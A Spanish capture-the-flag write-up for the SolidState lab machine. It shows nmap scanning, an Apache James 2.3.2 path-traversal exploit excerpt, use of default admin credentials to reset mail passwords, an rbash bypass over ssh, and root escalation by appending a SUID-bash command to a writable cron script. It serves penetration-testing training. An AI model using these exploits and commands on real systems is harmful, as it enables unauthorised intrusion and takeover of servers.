Inicio SolidState Writeup
Entrada
Cancelar

SolidState Writeup

10.10.10.51 SolidState (medium machine)

  • Comenzamos con la fase de recolección de información haciendo un escaneo por TCP en todos los puertos con nmap
1
2
$ nmap -p-  -sS -vvv  --min-rate 2000 -n -Pn 10.10.10.51 -oG allPorts 

-p- -> escanearemos todos los rangos de puertos (65535)

-sS -> análisis utilizando TCP SYN Este tipo de escaneo, está basado en la velocidad de escaneo, de ahí la versatilidad que mencionamos anteriormente, ya que permite escanear miles de puertos por segundo en una red que se encuentre desprotegida o carezca de un firewall, no termina la conexión TCP/SYN - Envias un SYN - Recibes un SYN/ACK - Envias ResetPacket

-vvv -> verbose para que mediante vayas descubriendo puertos se reporten en la terminal

–min-rate 2000 -> paquetes enviados no mas lentos que 2000 paquetes por segundo, envío de paquetes super rápido

-n -> que no aplique resoluci+on de DNS para que no tarde el escaneo

-Pn -> ni que me detecte el descburimiento de hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ nmap -p-  -sS -vvv  --min-rate 2000 -n -Pn 10.10.10.51 -oG allPorts 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-30 13:18 CST
Initiating SYN Stealth Scan at 13:18
Scanning 10.10.10.51 [65535 ports]
Discovered open port 22/tcp on 10.10.10.51
Discovered open port 110/tcp on 10.10.10.51
Discovered open port 80/tcp on 10.10.10.51
Discovered open port 25/tcp on 10.10.10.51
Discovered open port 4555/tcp on 10.10.10.51
Increasing send delay for 10.10.10.51 from 0 to 5 due to max_successful_tryno increase to 4
Increasing send delay for 10.10.10.51 from 5 to 10 due to max_successful_tryno increase to 5
Increasing send delay for 10.10.10.51 from 10 to 20 due to max_successful_tryno increase to 6
Increasing send delay for 10.10.10.51 from 20 to 40 due to max_successful_tryno increase to 7
Increasing send delay for 10.10.10.51 from 40 to 80 due to 174 out of 578 dropped probes since last increase.
Increasing send delay for 10.10.10.51 from 80 to 160 due to max_successful_tryno increase to 8
Increasing send delay for 10.10.10.51 from 160 to 320 due to 73 out of 243 dropped probes since last increase.
Increasing send delay for 10.10.10.51 from 320 to 640 due to 124 out of 413 dropped probes since last increase.
Increasing send delay for 10.10.10.51 from 640 to 1000 due to 142 out of 472 dropped probes since last increase.
Warning: 10.10.10.51 giving up on port because retransmission cap hit (10).
Discovered open port 119/tcp on 10.10.10.51
Completed SYN Stealth Scan at 13:19, 43.42s elapsed (65535 total ports)
Nmap scan report for 10.10.10.51
Host is up, received user-set (0.077s latency).
Scanned at 2023-01-30 13:18:16 CST for 44s
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
25/tcp   open  smtp    syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
110/tcp  open  pop3    syn-ack ttl 63
119/tcp  open  nntp    syn-ack ttl 63
4555/tcp open  rsip    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 43.52 seconds
           Raw packets sent: 86792 (3.819MB) | Rcvd: 80877 (3.235MB)

puerto 80 por lo tanto vamos a darle un visto al sitio web pero realmente nada importante incluso viendo con wappalyzer o whatweb las tecnologias que emplea realmente no hay nada del otro mundo

1
2
3
4

$ whatweb http://10.10.10.51
http://10.10.10.51 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], Email[webadmin@solid-state-security.com], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[10.10.10.51], JQuery, Script, Title[Home - Solid State Security]

me copiare esos puertos abiertos para analizar servicios y versiones que corren en ellos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted

Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-30 20:46 CST
Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 83.33% done; ETC: 20:47 (0:00:10 remaining)
Stats: 0:01:05 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 83.33% done; ETC: 20:48 (0:00:13 remaining)
Stats: 0:02:44 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.68% done; ETC: 20:49 (0:00:00 remaining)
Nmap scan report for 10.10.10.51
Host is up (0.15s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 770084f578b9c7d354cf712e0d526d8b (RSA)
|   256 78b83af660190691f553921d3f48ed53 (ECDSA)
|_  256 e445e9ed074d7369435a12709dc4af76 (ED25519)
25/tcp   open  smtp    JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.8 [10.10.14.8])
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp  open  pop3    JAMES pop3d 2.3.2
119/tcp  open  nntp    JAMES nntpd (posting ok)
4555/tcp open  rsip?
| fingerprint-strings: 
|   GenericLines: 
|     JAMES Remote Administration Tool 2.3.2
|     Please enter your login and password
|     Login id:
|     Password:
|     Login failed for 
|_    Login id:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4555-TCP:V=7.93%I=7%D=1/30%Time=63D8812D%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\.3\.2\nPl
SF:ease\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id:\nPasswo
SF:rd:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n");
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 264.55 seconds

-sCV -> escaneo lanzando scripts que detecten servicios y versiones

-p -> especeficando los puertos a escanear

-oN y todo nuestro output lo guardamos en una captura formato nmap con el nombre de targeted

Indagando mas sobre el puerto 4555 tenemos un apache James que corresponde a una versión bastante vulnerable, leyendo acerca de la explotación nos menciona que Apache James normalmente almacena los datos de ese usuario en un subdirectorio relativo a su directorio de instalación, en “apps/james/var/users”. De forma predeterminada, el servidor crea un nuevo subdirectorio para almacenar el correo electrónico entrante y saliente de cada usuario. este mecanismo de creación de directorios es susceptible a una vulnerabilidad, lo que permite a un atacante ejecutar comandos arbitrarios en la máquina del servidor de correo. los nombres de usuario no están suficientemente validados en el momento de la creación del usuario, y anteponer una serie del símbolo del directorio principal, “../”, hace que el servidor cree un directorio de usuario fuera del directorio de instalación. Un nombre de usuario como “../../../../../../../../etc/bash_completion.d” puede hacer que los archivos se coloquen en “/etc/bash_completion.d,”

si buscamos con searchsploit tenemos un script en python donde nos automatiza la intrusión creando el usuario

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
s.recv(1024)
s.send("quit\n")
s.close()
print "[+]Connecting to James SMTP server..."
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,25))
s.send("ehlo team@team.pl\r\n")
recv(s)
print "[+]Sending payload..."
s.send("mail from: <'@team.pl>\r\n")
recv(s)
# also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
recv(s)

vemos que crea el usuario antes mencionado para tener un RCE aprovechandose en esta vulnerabilidad de la creación de directorios que emplea al añadir un usuario, pero hay un problema. tiene que estar logueada y activa una persona para que active el RCE del usuario creado, asi que si lo ejecutamos no tendriamos éxito. Sin embargo en la parte superior del script vemos unas credenciales por defecto para logearnos a este servicio

1
2
3
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

asi que intentare conectarme por netcat a ese puerto y efectivamente nos pide unas credenciales, solo ponemos las que nos vienen por defecto y estamos dentro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
help
Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection

en este punto listare los usuarios y cambiare sus respectivas contraseñas para ver si logueandome por telnet al puerto 110 llego a ver algo que corre pop3 (protocolo de transeferencia de correos)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin
setpassword james 12345
Password for james reset
setpassword thomas 12345
Password for thomas reset
setpassword john 12345
Password for john reset
setpassword mindy 12345
Password for mindy reset
setpassword mailadmin 12345               
Password for mailadmin reset

una vez cambiada las credenciales procederé a conectarme por telnet, checando con cada uno de los usuarios veo que no tienen nada importante a excepción de mindy que tiene dos correos y uno de ellos nos setea una contraseña

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ telnet 10.10.10.51 110  
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
USER mindy
+OK
PASS 12345
+OK Welcome mindy
LIST
+OK 2 1945
1 1109
2 836
.
RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James
.

el correo nos dice que a mindy le acaban de dar acceso al sistema de ssh y recordamos que tiene el puerto 22 expuesto, pero hay un problema. su ruta del PATH no esta totalmente asi que nos costara y buscaremos la forma de ejecutar comando en el sistema

mindy:P@55W0rd1!2@

al validar la contraseña con sshpass nos conectamos por ssh directamente y efectivamente mindy no ha cambiado su password que le dieron por defecto y obtenemos la primera flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sshpass -p 'P@55W0rd1!2@' ssh -o 'StrictHostKeyChecking=no' mindy@10.10.10.51     
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
mindy@solidstate:~$ ls
bin  user.txt
mindy@solidstate:~$ cat user.txt 
87e11ac003837fd5250c29ff94a271d6

Privilege Escalation

si intentamos ejecutar otro comando fuera de los que admite vemos que no nos deja

mindy@solidstate:~$ whoami -rbash: whoami: command not found

ahora miramos su ruta del PATH Y pues si que no hay muchas opciones de donde podemos ejecutar comandos ya que no estan contempladas todas las rutas al sistema raiz, por lo tanto copiare la mia y la importare a la suya

mindy@solidstate:~$ echo $PATH /home/mindy/bin

pero no llegamos a tener éxito ya que estamos en una restricted bash y nos limita a mucho

mindy@solidstate:~$ export PATH=$PATH:/root/.local/bin:/snap/bin:/usr/sandbox/:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/local/go/bin/:/root/go-workspace/bin:/root/.fzf/bin -rbash: PATH: readonly variable

lo que tratare de hacer es ver si despues del login de ssh puedo lanzar un comando y dicho comando me lo logra interpretar, probaré con el comando id para ver si en el output despues del login me lo acepta

1
2
$ sshpass -p 'P@55W0rd1!2@' ssh -o 'StrictHostKeyChecking=no' mindy@10.10.10.51 id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)

y vemos que tenemos éxito por lo tanto solo nos queda lanzarnos una bash y hacer el tratamiento de la tty para tener la consola mas interactiva

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sshpass -p 'P@55W0rd1!2@' ssh -o 'StrictHostKeyChecking=no' mindy@10.10.10.51 bash
whoami
mindy
script /dev/null -c bash
Script started, file is /dev/null
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ echo $TERM
echo $TERM
dumb
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ echo $SHELL
echo $SHELL
/bin/rbash
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ export TERM=xterm 
export TERM=xterm
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ export SHELL=bash
export SHELL=bash

ahora si ya podemos manejarnos mas facilmente por la terminal con todos los comandos, me meteré al directorio tmp para hacer un script en bash para visualizar las tareas y que comandos son los que van entrando y saliendo del sistema

1
2
3
4
5
6
7
8
9
#!/bin/bash

old_process=$(ps -eo command)

while true; do
          new_process=$(ps -eo command)
          diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -v "procmon.sh" | grep -v "command"
          old_process=$new_process
done

esto nos dirá los nuevos procesos y comandos entrante en un periodo de tiempo que se esten ejecutando en el sistema

1
2
3
4
5
6
7
8
9
10
11
12
13
14
${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ wget http://10.10.14.8/procmon.sh
procmon.sh//10.10.14.8/p
--2023-01-30 22:55:40--  http://10.10.14.8/procmon.sh
Connecting to 10.10.14.8:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 259 [text/x-sh]
Saving to: ‘procmon.sh’

procmon.sh          100%[===================>]     259  --.-KB/s    in 0s      

2023-01-30 22:55:40 (20.9 MB/s) - ‘procmon.sh’ saved [259/259]

${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ chmod +x procmon.sh
chmod +x procmon.sh

le damos permisos de ejecución y esperamos a que nos salga un nuevo proceso ejecutado

1
2
3
4
5
6
7
8
9
${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ ./procmon.sh
./procmon.sh
> /usr/sbin/CRON -f
< /usr/sbin/CRON -f
> /usr/sbin/CRON -f
> /bin/sh -c python /opt/tmp.py
< /usr/sbin/CRON -f
< /bin/sh -c python /opt/tmp.py

depués de unos minutos visulizamos un proceso bastante intersante que ejecuta un script en python, si visualizamos los permisos vemos que el propietario es root

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls -l /opt/tmp.py

-rwxrwxrwx 1 root root 105 Aug 22 2017 /opt/tmp.py

ahora visualizare el script… y !BINGOO tenemos permisos de lectura escritura y ejecución con una funcion os.system donde podemos enviar nuestra consola y otorgar permisos SUID a la bash y asi escalar nuestro privilegio

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cat /opt/tmp.py

1
2
3
4
5
6
7
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ echo “os.system(‘chmod u+s /bin/bash’)” » /opt/tmp.py

guardando nuestra llamada al sistema del script en python esperare a que la tarea se vuelva a ejecutar y tener permisos SUID en la bash

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

os.system('chmod u+s /bin/bash')

después de esperar a que se ejecute logramos tener los privilegios en la bash , solo hace falta poner bash -p (-p de privilege) y listo, somos root y máquina completada :D!!

1
2
3
4
5
6
7
8
9
10
11
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-xr-x 1 root root 1265272 May 15  2017 /bin/bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ bash -p
bash -p
bash-4.4# whoami
whoami
root
bash-4.4# cat /root/root.txt
cat /root/root.txt
4ea15b06b3c027ecfd661b3580dddd9f
Esta entrada está licenciada bajo CC BY 4.0 por el autor.